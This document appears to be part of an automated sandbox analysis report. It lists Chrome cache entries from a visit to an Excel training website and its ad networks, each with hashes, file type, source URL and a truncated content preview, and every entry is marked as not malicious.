Preview:	............FFTM.d2.........OS/2O.n........`cmap{..?........feat@3........dgasp.......8....glyf.\.(...,....head..r........6hhea.3.!...D...$hmtx..t.........kern...w........loca[......T....maxp.4.o...h... morx4O.Y........name.F.........8post&g.........dprop].jf...@...X...........V_.<............n......j..........................(.....;...............................l.................@...................X...K...X...^.2.@................P...........UKWN. . ...(.....(.. .............. .....Z.....M.......S.J...2.L.&.....y.#...,...2...-.......&.l.+.A.3...@.:.1.2.....1......./...#.......'...2.x.....2.....P.<.U.=.z.%.y.D.z.J.(...b.1.......[.@.+.2.[...[...[.Y.+.B.[.Y.[.n.....[.\.[...[.d.[...+...[...+...[...........S...................)...Y.2.....$...(.)...6...S....H.g.(...(.s.'.......(...H.-.5.5...k.H.-.H...H...H...'...H...(...H...........C.m...}...?...c.....+.....9.Y...%.w.0.C.?.k.,...0...,...#.7.X...-.....~.-.'.D.......1...4..........@...9...0.1.....S.4.".C.5.....w.....D...4...........*...

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7816), with no line terminators
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	5.7484870319050305
Encrypted:	false
SSDEEP:	192:XKg91l1dFZ28P7dJFAH+QOc/o1jY2g8g3G48PBUW0E:XKaVBP7dJFAHWxc2g8djZP
MD5:	B7D04992A96FD895F9027FEB92086AF6
SHA1:	D736BFFB918C466B2A3AC26453066791AEDE4B16
SHA-256:	3CF2A00CB08645196B01BC06BDCD25B2C5DEE72451CDA004DF42F04D37231E12
SHA-512:	392B2F9C3D7DAC9C26E108BBFAC060BC62201F4A241F3A74B4C9EEE3EDC86CD9536746211CD122DFCEF47EBD65E991C69E71A1C86AA12D5A97BFB4BAD2B497F7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.thinkific.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/bcc5fb0a8815/main.js
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(V,g,h,i,j,n,o,A){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=-parseInt(U(557))/1(parseInt(U(580))/2)+parseInt(U(512))/3+parseInt(U(498))/4+-parseInt(U(541))/5+parseInt(U(538))/6+parseInt(U(553))/7(-parseInt(U(535))/8)+parseInt(U(551))/9,e===C)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,172548),g=this\|\|self,h=g[V(548)],i={},i[V(571)]='o',i[V(585)]='s',i[V(501)]='u',i[V(524)]='z',i[V(497)]='n',i[V(522)]='I',j=i,g[V(519)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,null===D\|\|void 0===D)return F;for(H=m(D),C[a0(572)][a0(518)]&&(H=H[a0(578)](C[a0(572)][a0(518)](D))),H=C[a0(534)][a0(576)]&&C[a0(545)]?C[a0(534)][a0(576)](new C[(a0(545))](H)):function(N,a1,O){for(a1=a0,N[a1(520)](),O=0;O<N[a1(590)];N[O+1]===N[O]?N[a1(568)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(492)][a0(502)](I),J=0;J<H[a0(590)];K=H[J],L=l(C,D,K),I(L)?(M=L==='s'&&!C[a0(503)](D[K]),a0(554)===E+K?G(E+K,L):M\|\|G(E+K,D[K])):G(E+K,L),J++);return F;func

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	5.964955934087422
Encrypted:	false
SSDEEP:	12:YKU1NHcr3+xC4gUGBKBDJ0nJ5WYRPokfKLJE3BZYOq2No:YKUbHa3l4gU7oLgkwJE3BXi
MD5:	461884558AC1D62146F153D0D476102F
SHA1:	4ACBF54F088DB0BA6EF40F796B9481538FC9E989
SHA-256:	DC2D5C335F1FDDE4327BC74A3BA575F04575EA8DCFAD547C4D22585CB9B2EE8E
SHA-512:	D3947D9E3FD2766CD69015E5F1BD3FE319384AB389CE5DFEBD29D38E7593137438377E26DF86E0AA4F8118FE6AA43EDCD4B157C674F2F429A184B6634C5757BA
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=gumgum_s2s&cpm=1.7711055999999998&adId=245cea41d22c0b4&sk=V1:0R/ET7+G5x4qSLaC:haN7jirAFTarMS1LdVlRdx86+BFMm7c/3ozKAnDvDfBpzXNcrDtN4SQrR3792X5PYXOv7tiEjaJjVA==
Preview:	{"hb":"V1:gE8ov/1Flwhrgr9N:Spst4Uox0Sm2G8lUfPNoU/rAxNsjhxeESoWcLi6+vYmFe6UYbWFREDdWn7oTnoaTPytG7EhLbJc3XOH7Jg378jgCo/Ja9JZNDoLcu7zUE1zg/Rlw6Squ","adx":"V1:4pWhrigkTpQqlEPU:q81AWqzfZ3Qx+ss6XCFB4zZJsWFbq/VbMeubefY4APG4mG6czwy+1o48KJ0SudtKIseV3oDZqLK+NG8/fQpG0sV5qSbufT+A2cQc8wHvZD6PdcY=","unf":"V1:fRIiT0bL+r6ntmdg:cGgu7lxUEvwPq7+hsY6DH/k10OYgrCb+lKH4sYkvqHFqj4rudokgdc0ttBqfr+7j5t1/y2SLZdIYEU/kQ6oDaw=="}

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4242
Entropy (8bit):	4.8337775755284325
Encrypted:	false
SSDEEP:	48:zOGJBSOLgqlT4pw93ddSYw9gTdHT4pw9gEST9gMxHlkwRV:z5iYgqlJ93mD9gTBJ9qT9ggHlkwRV
MD5:	88EB413D8952BBAA79AF30875F40CA2D
SHA1:	D268665DDF0E0B4ADE60DCEA7DB243BD48380118
SHA-256:	0C570422A440B7B191BDE5FCD394EACC257D187077C9246A33D622E0519F30BE
SHA-512:	6EBE32A5D8B68CFCE29C072AB61EC031BEE4BCCDF77011B80E64600D2179C6BEF8839EA229FAC484C6795D386D324DE5B7357BCD9145984BC05C3CA433BAD39B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/custom-theme.css
Preview:	.ps-theme-woosw {.. -ms-touch-action: none;.. touch-action: none;.. overflow: hidden !important;.. -ms-overflow-style: none;..}....@supports (-ms-overflow-style: none) {.. .ps-theme-woosw {.. overflow: auto !important;.. }..}....@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {.. .ps-theme-woosw {.. overflow: auto !important;.. }..}.....ps-theme-woosw.ps-active-x > .ps-scrollbar-x-rail,...ps-theme-woosw.ps-active-y > .ps-scrollbar-y-rail {.. display: block;.. background-color: transparent;..}.....ps-theme-woosw.ps-in-scrolling {.. pointer-events: none;..}.....ps-theme-woosw.ps-in-scrolling.ps-x > .ps-scrollbar-x-rail {.. background-color: rgba(0, 0, 0, .1) !important;..}.....ps-theme-woosw.ps-in-scrolling.ps-x > .ps-scrollbar-x-rail > .ps-scrollbar-x {.. background-color: rgba(0, 0, 0, .58);..}.....ps-theme-woosw.ps-in-scrolling.ps-y > .ps-scrollbar-y-rail {.. background-color: rgba(0, 0, 0, .1) !important

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41069)
Category:	downloaded
Size (bytes):	41185
Entropy (8bit):	5.258956156258354
Encrypted:	false
SSDEEP:	768:RnMWFZFzBNztnB2fVhwCxCmgrwwfMbOdCbaSpJuSvXzSzsAjTWPJS7O5IyU0qQtQ:Rn1V8fhV1NXzSxjEIy1GxVjxflederVD
MD5:	DBB9C46CF46CCAABC45914B159AE0129
SHA1:	D48FDA4BDCAA8DD847BBAE9B5F876479256A2400
SHA-256:	E8C4FF4F80CF80430F1E16D5CEC003DF557364E201B472F29522181503C46F02
SHA-512:	87945F98D489C88BF2881442F5F658816BFAEEB93A23EADCB828609EBF89E8F3AB4EECA7E144858E06FB87AC45553964A53D846D2F49E351301E779494BAC633
Malicious:	false
Reputation:	low
URL:	https://cdn.ampproject.org/rtv/022404020207000/v0/amp-form-0.1.mjs
Preview:	;.(self.AMP=self.AMP\|\|[]).push({m:1,v:"2404020207000",n:"amp-form",ev:"0.1",l:!0,f:function(t,i){(()=>{var i;function e(){return i\|\|(i=Promise.resolve(void 0))}var s=class{constructor(){this.promise=new Promise(((t,i)=>{this.resolve=t,this.reject=i}))}};function n(t){return new Promise((i=>{i(t())}))}function r(t){return t?Array.prototype.slice.call(t):[]}var{isArray:o}=Array,{hasOwnProperty:c,toString:u}=Object.prototype;function a(t){return"[object Object]"===u.call(t)}function h(t){const i=Object.create(null);return t&&Object.assign(i,t),i}function l(t,i){return c.call(t,i)}function f(t,i,e,s,n,r,o,c,u,a,h){return t}var d="amp:dom-update",m="amp:form-value-change",p="name";function _(t){return(t.ownerDocument\|\|t).defaultView}function b(t){return CSS.escape(t)}function A(t){f(/^[\w-]+$/.test(t))}function P(t,i){return A(i),i=i.toUpperCase(),function(t,e){const s=[];for(let e=t.parentElement;e;e=e.parentElement)e.tagName==i&&s.push(e);return s}(t)}function v(t){var i;null===(i=t.paren

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.247548241669875
Encrypted:	false
SSDEEP:	3:YAQ2qSABLpF2yh26RrU/qAwqSABHY:YAQV9pF2x6YxY
MD5:	6A9CA355F8CBE556999E1D90DE9D39E3
SHA1:	917477722E600955AE9CCAF8FCD1DB446DB3F042
SHA-256:	566C28DE671DDA53FA3C8742171D876B8A48A28D68DDFEFFA615A47527A5DC8A
SHA-512:	B643EDCCCCF69C7322A1677157428892F79A8A9DB1CE4E86316BB43111E9CBEC1CA5EA85E79A4230A17775309FE8A605D271A21F223BAB409F78E33CE0C8C6A1
Malicious:	false
Reputation:	low
Preview:	{"error": "Method not allowed.", "statusCode": 405, "statusMessage": "method not allowed"}

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 195x102, components 3
Category:	downloaded
Size (bytes):	3687
Entropy (8bit):	7.854220402387638
Encrypted:	false
SSDEEP:	96:SdObe2POM6i4SXtnAxv/+Y2oRJZSdJffG:/e0HXa0qGffG
MD5:	06E105BC94A9760A0265506DD760A5A0
SHA1:	90A9D032717DF3002677189DF523F176440DD995
SHA-256:	525F010D222CAFD35EA44C77422460027B1C2E5DA8E9B6A4EE6AC83F48B307DD
SHA-512:	47EA77D39400CF769FF2D29CCAFC88BEC9F97C1764021EF2AB219DA3EA6B5A0DB514D9FC7FD54837D98F00AC3EF7B81A19B51CE63DA9603337F5D4E4108BA96E
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/8552888571247897129/14763004658117789537?w=195&h=102&tw=1&q=75
Preview:	......JFIF..................................................."... ....+."%%)4(..-5-&0"'((...........2...+2&+&-.22)/2-2/&2.2.(2)0))/&(('&(&.+'+/'(//.&/2......f...."........................................;........................!1.."A.Qa#2q....BR..b...3T...$r.................................-........................!1AQ..aq...R..."b..............?..R...4...k.N.z.+C3.U...M...\..@R.k....5....siqx.g..$e. .8....9.W.....dMu.QZks:u.V...U)V..,.g..I...\|.dA#.$tr.`...+mI.6/....JZ.U....1.0YJ..GI=...iysSW...........3.....U..X.plh..+[..}..?...."..P.....(.)J.JR.R....(.)Pq.H..........b.x.i@a.)B..v ..@... ....t.U.!.Y...2.i.@U-4.".]V...Aa...3.6@.1.C.Q....%.H .@.c.f.q.D...J..].H.3..Q}@.]....R...(AY!.......a........2.u'..e.u.?...M.+...}..Gz.@)J.x{..n........cml4..5..sK^.[.#Jt.IY..Vlj.......\|..U.~.....NhRG..{.kZ.......]#.....iT{..)X.T\..Z..J...z.!....#..h.#..T*.>#....m...R.R...r.....{....gS...zA .........gV...!.......).7;V...U....p\|....Na.%Nc....e#(\.!....e&).'$.QJ.R..t.

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	18698
Entropy (8bit):	7.9717161903511
Encrypted:	false
SSDEEP:	384:2JdKSi1fWzxp23IhwUIbUC8fFa5cLZ5VpMdeW9cqzyyPqGJ:UdAfWNu5zbJ8fmuudvWIqGJ
MD5:	B1726E6F0C6AB76BDC7E329CDF9195F3
SHA1:	2B4E91889160B2B4F477E20B17FBFDC89C6A369B
SHA-256:	FB7AAB11362EC3EF72A969D4CDD49CC51E40C81E58CD6282C95BEF52B1D4AE09
SHA-512:	17AB723C4A7D016BE980B10B16A6E52480517B06CF64F0B39C849BBD215E9B5C8D9803722996A0B83DAC1160C62B4197CE0F46FB03B1B52ED452342906775E32
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Pivot-Tables-1-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................X...........................!1.AQ...."RSaqt.......25BTUV...#346CDErs....$&7Fcd.'b..%...................................9........................!Q..1R."A#23aq......BSb..c....r............?...Ed.b".$h.. H.4E.....r...Cf..N.\G.s.6.......-.v..:=..w............E.G).dW2..tR.....V...rp].H!KNd.!q.........I...3k..Q...Q.a....^.:..X.....r.!...u...\.j..A].V.%tsS............@...HF.Q..,S.Bo....z.../.F.Z..uA.T\|6..?TnV...K..X.!NY..?.T.....X........)...g%....Y.$$......l..g.V...EW.=X....h.."..zv.e.H2..E"Dj.F@9.1Q.\.Qn5.i6O.HqQ=.T%\..sQR......B.Tfc+'..Z5....{.Mg'.m.+.V..z...f...P.........t.k6..)...h$.<(.Mk...X...uk...p.xGw.V;T&q.`....,...;......I6....qL.k'...}VX.../.b....z.).[QM.. ..n\...b'N...;...R..U..+U.68.]G+.....J..7D.1..7a.i....f.k4[\\...e9ZZ...<)...j.......4

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	16739
Entropy (8bit):	7.9588646718974685
Encrypted:	false
SSDEEP:	384:nFufj73B1Cci1Ieta7x4OjS5PtuzpWaENk+T9beUGk:nUfn33Cci1Ieta7xvu1toyK+Jbp3
MD5:	FFFF0539F28E495CA66031FE2FEF2326
SHA1:	F88B10BDC1264A6B4CA13DC00FCBB25D181491DC
SHA-256:	7B06AD88EE43FB6534349EB03E8713085BD82CB553C53191249E47F9E2442BE0
SHA-512:	9A5F681D950AC91645BC29B15E4F323E19CC05C9770F177C364EC87E584B132773B3EF2C77A7063F57DBEA089F02467183BB032C602E35FC4D5E8E7C4037D159
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0....".........................................Y........................!...1.AQ......."RUaq..26BESt.....#$5DTbr...%347Ccs....&'..d.Vu.................................6.......................Q...!1.A"3a..#2Rq....$B...C.r............?..D '1I..->.....<..dE.k.^MWB.j.1.........VV.\.jr...mv..M.].y..MWYiZ..,6Kq.....n.ss...{.Yt..is..r.X._.k..Ek)O>.H+......\|(A+S....R.dVG'.V^..4{.......i........l...'.H..^..`.B.._.....e..ka[..H.N.Jk..s.9k ....)KSJXr..4,..rH..(.$.9m.k.\n.r....S6......F.D.E..T....U....K3.W'.#w.Y.....H/h.....H%...-..cD...h..^.\.2.y.5.+0..8w.../\|..9.4.\|.*.d. .&.QC.vG.(..r^..y..Qa.WU2.#...)..m.s[$...4.<....EX.R.^...Zv..dq]..3..............)#.W......Jt..U.vj.(..rH9.n.r.2..I9..$.....<.x!k...n......)\p....K'.m>..v..R...8....:..Z..d\|=9 =.:...(T.....h.\|U..ghN..l...x._.ql.l,.p.......7+.S6z.......n

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	18987
Entropy (8bit):	7.968645320189296
Encrypted:	false
SSDEEP:	384:kQsPpNOxB9S8J5jrWmqLDu9+KBwZ/kDAYZS80fgOJfEjB5C:kxPpNO1SN3u9GZ/kDLS5gOqC
MD5:	B1390E7E1F93B6FD972FC50D52C00B34
SHA1:	EB10A711B0D8B381F141F02A3AB08186BC3B66D3
SHA-256:	8FD4ABF825ED410225FD0C73BEFCA3BF45EA8896E589C2D627EA6AE0A49D8EAE
SHA-512:	A35AF4997B82D8261AFE4EBD4FD243059948457125B2FF4451893751F0652EA09C46CDF622A6EEB7828DCE737D5C2BBD022ADB90301A6ADE71BB5C343847CDA1
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Power-Query-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................[...........................!1.AQ....."RSTaq.......25BU...#$DEVbstu..%&367Cr...4cde..'F...................................7.......................Q...!.1A"2Raq..#3......$S.B..r............?...@Nb..,Z\|w\2...E.....y..........R'dn..JT..D59k~.z.&..<.....iZ..$l..].K...........U...E..ci~.C.....{".+......{(....i.........+/u.4{...s...i........l...'.H..\.4.......3.4<.+.ka[..H.N.Y5.b.....qxf......S"...Y..at..i..r....U.n.r....S5....L.#k..".@..R....\.n%..+.....,.N..x,cV...`I....[....9v4O1......+....3...f.^EY.vo.9w......]QT.&...52...<+"...[Q.H.......o.aM5.k..l......y..j.EX.R.^......&...\|.....F...Nb.+,Lp...]..\..........Q....v.n.r.2..I;S....vn.p;...x..n....%.)\p....N.t.....j..!......>....*u..G....xVV..B.(.?..F......p.3U..[....d.`3ag\;...w'.O..\..3g....5W

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
URL:	https://lexicon.33across.com/v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	1561
Entropy (8bit):	2.5857114762260935
Encrypted:	false
SSDEEP:	24:JGY7peHU2k7N7DRhoZNtwNKzbEqNpdGY7peHU2k7N7DRhoZNtwNKzbEqNp+:uHU2k7N7YtG8EqNEHU2k7N7YtG8EqNM
MD5:	5C98B31F0E318509324A3E12D7D3F2F5
SHA1:	8011ECFD0F3BB160029CC0CC8DFE6352DF40DDF2
SHA-256:	784A81D7ABBD8E4670546720EB51F5C55607597AA5189F7674558148C08DEA21
SHA-512:	85DED69024B2943A5E2D2254EA03D2F066A5B8195AC644DFF26729396F863D9447C9E4931F16ED658CBD3E23ED9FE8356427DB241F99C2C9EDF151B5F44E64E2
Malicious:	false
Reputation:	low
URL:	https://exchange.mediavine.com/pixel.gif
Preview:	GIF89a............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.........3..3.33.f3..3..3..33.33333f33.33.33.3f.3f33ff3f.3f.3f.3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3..3..3..f..f.3f.ff..f..f..f3.f33f3ff3.f3.f3.ff.ff3fffff.ff.ff.f..f.3f.ff..f..f..f..f.3f.ff.f..f..f..f.3f.ff..f..f.......3..f.........3..33.3f.3..3.3..f..f3.ff.f..f.f......3..f.............3..f............3..f.............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f....3.f...........3..f.............3..f..............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.................................................................................................................................,..............3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f..............3..f.............3..f.........3..3.33.f3..3..3..33.33333f33.33.33.3f.3f33ff3f.3f.3f.3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3.

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 16 tables, 1st "FFTM", 72 names, Macintosh
Category:	downloaded
Size (bytes):	127272
Entropy (8bit):	5.654585983236691
Encrypted:	false
SSDEEP:	1536:QVnau0KPWRp9DwwkBlx5DP2GU+1/Dbj3JbndkWVZuh7pey5YiENW54WTSrRLbjAw:QVsimeBxkdNENJWTSrR8LWQwSJbLSZ9
MD5:	C80950CDD170C18C3501A7A371C80F0E
SHA1:	8F793CFAFDA971C40EFA66112A44734F25336061
SHA-256:	1BDE7687CFC0627C32A30EAAEB08422992F6EFE5410B17C022B30495D9ADF314
SHA-512:	729D87F6CFDD531ED70B0952B8A8911B6FEACFD972B10FC13E43D730F5BE2D39068EA84A9808CD43910CBF079BD84F1566D5F395906C468E0ECCAABF7BC6E6E9
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/Gordita-Medium.ttf
Preview:	............FFTM.b.d........OS/2N.n........`cmap............feat@3.........dgasp.......x....glyf.h.....$....head...N.......6hhea.B.,...D...$hmtxw.. ........kern../.........loca..S....L....maxp.4.o...h... morx4......<....name.;.*...d....post\..........dprop].jf......X........~..l_.<...........ev......i..&.....k.................(.....%.&.&...........................l.................@...................X...K...X...^.2.@................P...........UKWN.@. ...(.....(.. .............. .....Z.....M.......8.M...8.=.'.{.'.k.%...0...8...1.......).l.-.3.>...E.$.;... ...5.......0...(.......)...5.g.....4.....9.E.=.H...&.s.H...N... .c.4.......d.B.0.-.d...d...d.U.0.A.d.B.d.O.....d.P.d...d.U.d...0...d...0...d...'.......[...................&...`.......%.k./.....%...?./...P.Y.,...+.g.,.......+.y.P...=.....D.P...P...P.y.P...+...P...+...P... .....y.J.\...o...:...d.....+.....0.`...&.{.A.'.E.Y.,...0...2...%...^...1.......2.-.J.{.$...1...9......./...F...=...........Z...$...?.,...[...".J.{.8...!... ...+...!

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjssE9znDOO3deoAyqpTMc1MWivA2mlft8e_J51L4Z6mnMwWSvs7tqAsn7HPh27WTZiDSqgwhl5SbTYj3b60tUVOVTg_cpuDMOz_lKsAp7--Nvq0vdpIJ4hkKTh5YQgN_Vd2liWgV0dNkJ4EgLrivvNKvp_XJyyQHidM&sig=Cg0ArKJSzK8zN7fs9N5mEAE&id=lidar2&mcvt=1015&p=0,0,169,300&mtos=0,1015,1015,1015,1015&tos=0,1230,0,0,0&v=20240410&bin=7&avms=nio&bs=1263,907&mc=0.99&vu=1&app=0&itpl=19&adk=2810285289&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0%3D&vs=4&r=v&co=880364700&rst=1712870847216&rpt=134&isd=0&lsd=0&met=ce&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2372
Entropy (8bit):	7.852410997517776
Encrypted:	false
SSDEEP:	48:10kRc8U2Jh319+fQsn11JNozORASFbirO/Gf6oZ:11c32J3Ap7ozUASFbieE
MD5:	A8EADB418043310D39EC513E28745936
SHA1:	E207EE20C74D8BE5FC72F7AFD7C1F4CCC7ADCF69
SHA-256:	E5A684C395330E6CC8C64457E1BA945012E94E095352E41ADCB88BBDBE263EBB
SHA-512:	AC83728CF80E74FD73C49AF428629392C51CD9DE99CF0C385BFB9B7351967888EBD033B100501CBE49CCC74883506A7D5CC4744D4428C3A114AAEE7CF1FED123
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/17822024181240698237/14763004658117789537?w=100&h=100&tw=1&q=75
Preview:	.PNG........IHDR...d...d.....p.T....IDATx..{..U....~..b" ....M%.P@....S`RF..0.^XXL.j...3G.AS..n.h.DH4]..)-...2...C7i...v..x..{..~.^...y~3..<....9.s.y...a..a..a..a..a..a..a..a..a..a..a..a..a...?!.^+..B.#...Nu.........hA4{..D..s.uHS...1.DC..}h.....{.v.wG.W...t.....Usy...}......v.o.........^\ZsWm.......R...Vv...:WMZ.da..#.7/.^w.$...$o\|mI....T.k.....z(.m..U... ....\...8.\|#.o...s`.....>Z?.zk.Y..s./3....@.<..uGw...T...[.K.....5....+.....h(.....&..$.......aS...y./gJ/f....<A....n.K.D.[.K.n.u.0.\|V..C:#.......\|Fe.......E`..6........&..`...x....{..8...*...\|00..8..X.<...i.........\|.......<.P...2p....-.R<...)T@TS..@u.E95....~.yIh............7.].#.c^.{............4.\.Wz.\. ...Zf...E..-.m@.O...W`4.......^...Vh;.>..3.:.4.V.....k.b`1.1..nn...LU..8+..(W./.p.p..."/.xd........=.>T.h..(.V.....%^.o.. sY.t.L..\.r.e=...>..qH.8&./.}D:.b.z{iwk..oj.....T`....K0j.G....R.E..........".....y..T..<.\|....y....k.:/o......j.....>..32....Py..\|...lsK..J.[...E..m5_Yz.^Q4{...KE..

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4596), with CRLF line terminators
Category:	downloaded
Size (bytes):	4631
Entropy (8bit):	4.714850680325352
Encrypted:	false
SSDEEP:	24:H3WwfknJBSvLb4QVwanvnXAnAn+ZUuXsHmPZGbmPZGqmVGcAmVGMuGbmVGbmVGBO:lWJBSvLv3GTc7gfUGTc7gfpY9TU
MD5:	E711417ABF3D8D996E096AFC485230EE
SHA1:	516F204292C600421953D203813CAF4E5E6B89FB
SHA-256:	2ADFC5A2EE858CAF1697080460D7A98CA8EC326EEE690400188C94884DBF7790
SHA-512:	9406F47A63AE487AD4300B73113947A741F1C7FEF5FAB59886950A5C491185159F7C1BB20C56A3EC49687A85E2B31FCE53D521EBA49E07D169967EA4710997FD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/perfect-scrollbar.min.css
